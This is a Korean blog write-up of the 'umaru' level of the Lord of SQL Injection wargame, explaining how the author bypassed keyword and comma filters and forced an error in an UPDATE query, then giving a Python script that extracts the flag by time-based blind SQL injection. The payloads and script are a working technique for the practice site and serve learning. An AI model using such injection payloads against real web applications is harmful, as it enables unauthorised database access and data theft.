마지막 문제라 그런건지 내가 문제 이해를 잘 못했던 건지 엄청 오래 걸린 문제다.
여태까지는 길면 1~2일 정도 걸렸는데 이 문제는 3일 넘게 걸린 거 같다.
솔직히 내가 코드도 제대로 안 읽고 띄엄띄엄 푼 것도 있지만 감이 도저히 안 왔었다..
이게 문제 코드다.
쉽게 말하자면 플래그를 입력 받는데 만약에 올바른 플래그가 아니면 플래그를 리셋 시켜서 랜덤으로 바꾼다.
realflag는 prob_umaru에 있고 우리가 입력한 플래그는 prob_umaru_temp 임시 테이블(?)에 저장한다.
처음에 왜 감이 안 왔냐면 update 구문에서 injection을 해야 되고 테스트를 할 때 마다 플래그가 리셋 되서 어떻게 해야 될지 정말 감이 안 왔었다.
하지만 문제 코드에서 무엇을 알 수 있냐면 첫번째로 플래그 길이는 16이라는 것을 알 수 있다.
new_flag 쿼리를 보면 알 수 있다. 이걸로 무엇을 할 수 있냐면 if문으로 플래그 길이를 체크해서 참 거짓을 쉽게 확인 할 수 있다. (별 거 아님)
두번째는 필터링하는 것들인데 id, where, order, limit, ","가 있다. 처음에 update 구문에서 injection을 할 때 생각한게 구문을 더 추가할 수 있으니 where로 테스트 해보자는 거였는데 필터링을 하고 있었다. (별 거 아님)
별 거 아닌 것들이지만 여기까지 봤으면 생각을 해야 된다. 나는 여기서 어떻게 injection을 때릴지 깊게 생각을 안 하고 문제에 접근해서 빨리 못풀었던 거 같다.
우선 저 update 구문에서 에러가 발생하게 만들어서 reset_flag 함수가 실행 되면 안 되게끔 해야 된다. 에러를 발생할 수 있는 구문은 select 1 union select 2 이것이다. 나는 이 에러를 발생시키자라는 생각을 너무 늦게 했다. 진짜 빡대가리인 거 같다. 그 다음은 평소에 blind sql injection하는 것 처럼 해주면 되는데 if문을 쓸 때랑 substr을 쓸 때 쉼표(,)가 필수로 들어 가는데 필터링 되니깐 우회하는 방법을 찾았다. (case when 1=1 조건 then 참 else 거짓 end)
이제 공격 코드 짜주면 된다..
#umaru.py
import urllib
import urllib2
import requests
import time
flag = ""
session = {'PHPSESSID': '?'}
key = "!@#$%^&*()_-+=0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLNMOPQRSTUVWXYZ"
for i in range(16):
#for j in range(48,122):
for j in range(len(key)):
# query = "(select%201%20union%20select%202)and(select%20case%20when%20length(flag)=16%20then%20sleep(3)%20else%201%20end)"
query = "(select+1+union+select+2)%26%26case+when+substr(flag+from+"+str(i+1)+"+for+1)='"+key[j]+"'+then+sleep(4)+else+1+end"
url = "https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag="+query
time1 = time.time()
req = requests.get(url, cookies=session)
time2 = time.time()
print(time2 - time1), key[j]
if (time2-time1>3):
flag += key[j]
print "flag is " + flag
break
다 푸는데 정확히 20일 걸렸다. 정말 열심히 했다면 2주 걸렸을 거 같은데 너무 게을렀던 거 같다. 이제 리뉴얼된 los 문제 풀어야지
'Hacking > Web' 카테고리의 다른 글
내가 sql injection 하면서 느끼고 알게 된 거 (0) | 2020.02.23 |
---|---|
[LOS] dark_eyes (0) | 2020.02.17 |
sql injection 필터링 우회 (0) | 2020.02.17 |
[LOS] sql injection instr 사용시 주의 (0) | 2020.02.11 |